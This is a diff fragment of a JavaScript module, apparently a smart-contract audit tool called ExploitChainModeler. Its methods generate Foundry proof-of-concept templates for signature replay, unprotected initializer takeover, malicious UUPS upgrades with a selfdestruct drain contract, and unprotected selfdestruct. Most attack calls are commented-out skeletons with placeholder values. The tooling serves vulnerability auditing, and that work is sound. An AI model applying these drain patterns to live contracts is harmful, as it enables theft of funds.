|
660
|
+
return `// SPDX-License-Identifier: MIT
|
|
661
|
+
pragma solidity ^0.8.0;
|
|
662
|
+
|
|
663
|
+
import "forge-std/Test.sol";
|
|
664
|
+
|
|
665
|
+
contract SignatureReplayExploit is Test {
|
|
666
|
+
function testExploit() public {
|
|
667
|
+
// Obtain signature from previous valid transaction
|
|
668
|
+
bytes32 r = 0x...;
|
|
669
|
+
bytes32 s = 0x...;
|
|
670
|
+
uint8 v = 27;
|
|
671
|
+
|
|
672
|
+
// First use (legitimate)
|
|
673
|
+
// target.executeWithSig(data, v, r, s);
|
|
674
|
+
|
|
675
|
+
// Replay (exploit - should fail but doesn't)
|
|
676
|
+
// target.executeWithSig(data, v, r, s);
|
|
677
|
+
|
|
678
|
+
// Assert double execution succeeded
|
|
679
|
+
}
|
|
680
|
+
}`;
|
|
681
|
+
}
|
|
682
|
+
|
|
683
|
+
generateProxyPoC(finding, funcInfo, isInitializer) {
|
|
684
|
+
if (isInitializer) {
|
|
685
|
+
return `// SPDX-License-Identifier: MIT
|
|
686
|
+
pragma solidity ^0.8.0;
|
|
687
|
+
|
|
688
|
+
import "forge-std/Test.sol";
|
|
689
|
+
|
|
690
|
+
contract InitializerExploit is Test {
|
|
691
|
+
function testExploit() public {
|
|
692
|
+
address attacker = address(0xBAD);
|
|
693
|
+
|
|
694
|
+
// Call unprotected initializer
|
|
695
|
+
// proxy.initialize(attacker, ...);
|
|
696
|
+
|
|
697
|
+
// Verify takeover
|
|
698
|
+
// assertEq(proxy.owner(), attacker);
|
|
699
|
+
|
|
700
|
+
// Drain as new owner
|
|
701
|
+
// proxy.withdraw(proxy.balance);
|
|
702
|
+
}
|
|
703
|
+
}`;
|
|
704
|
+
}
|
|
705
|
+
|
|
706
|
+
return `// SPDX-License-Identifier: MIT
|
|
707
|
+
pragma solidity ^0.8.0;
|
|
708
|
+
|
|
709
|
+
import "forge-std/Test.sol";
|
|
710
|
+
|
|
711
|
+
contract MaliciousUpgrade {
|
|
712
|
+
function drain(address payable to) external {
|
|
713
|
+
selfdestruct(to);
|
|
714
|
+
}
|
|
715
|
+
}
|
|
716
|
+
|
|
717
|
+
contract ProxyExploit is Test {
|
|
718
|
+
function testExploit() public {
|
|
719
|
+
MaliciousUpgrade malicious = new MaliciousUpgrade();
|
|
720
|
+
|
|
721
|
+
// Upgrade to malicious (UUPS without auth)
|
|
722
|
+
// proxy.upgradeTo(address(malicious));
|
|
723
|
+
|
|
724
|
+
// Drain
|
|
725
|
+
// MaliciousUpgrade(address(proxy)).drain(payable(address(this)));
|
|
726
|
+
}
|
|
727
|
+
}`;
|
|
728
|
+
}
|
|
729
|
+
|
|
730
|
+
generateSelfdestructPoC(finding, funcInfo) {
|
|
731
|
+
return `// SPDX-License-Identifier: MIT
|
|
732
|
+
pragma solidity ^0.8.0;
|
|
733
|
+
|
|
734
|
+
import "forge-std/Test.sol";
|
|
735
|
+
|
|
736
|
+
contract SelfdestructExploit is Test {
|
|
737
|
+
function testExploit() public {
|
|
738
|
+
address attacker = address(0xBAD);
|
|
739
|
+
uint256 targetBalance = address(TARGET).balance;
|
|
740
|
+
|
|
741
|
+
// Call unprotected selfdestruct
|
|
742
|
+
// target.destroy(attacker);
|
|
743
|
+
|
|
744
|
+
// Verify funds received
|
|
745
|
+
// assertEq(attacker.balance, targetBalance);
|
|
746
|
+
}
|
|
747
|
+
}`;
|
|
748
|
+
}
|
|
749
|
+
}
|
|
750
|
+
|
|
751
|
+
module.exports = ExploitChainModeler;
|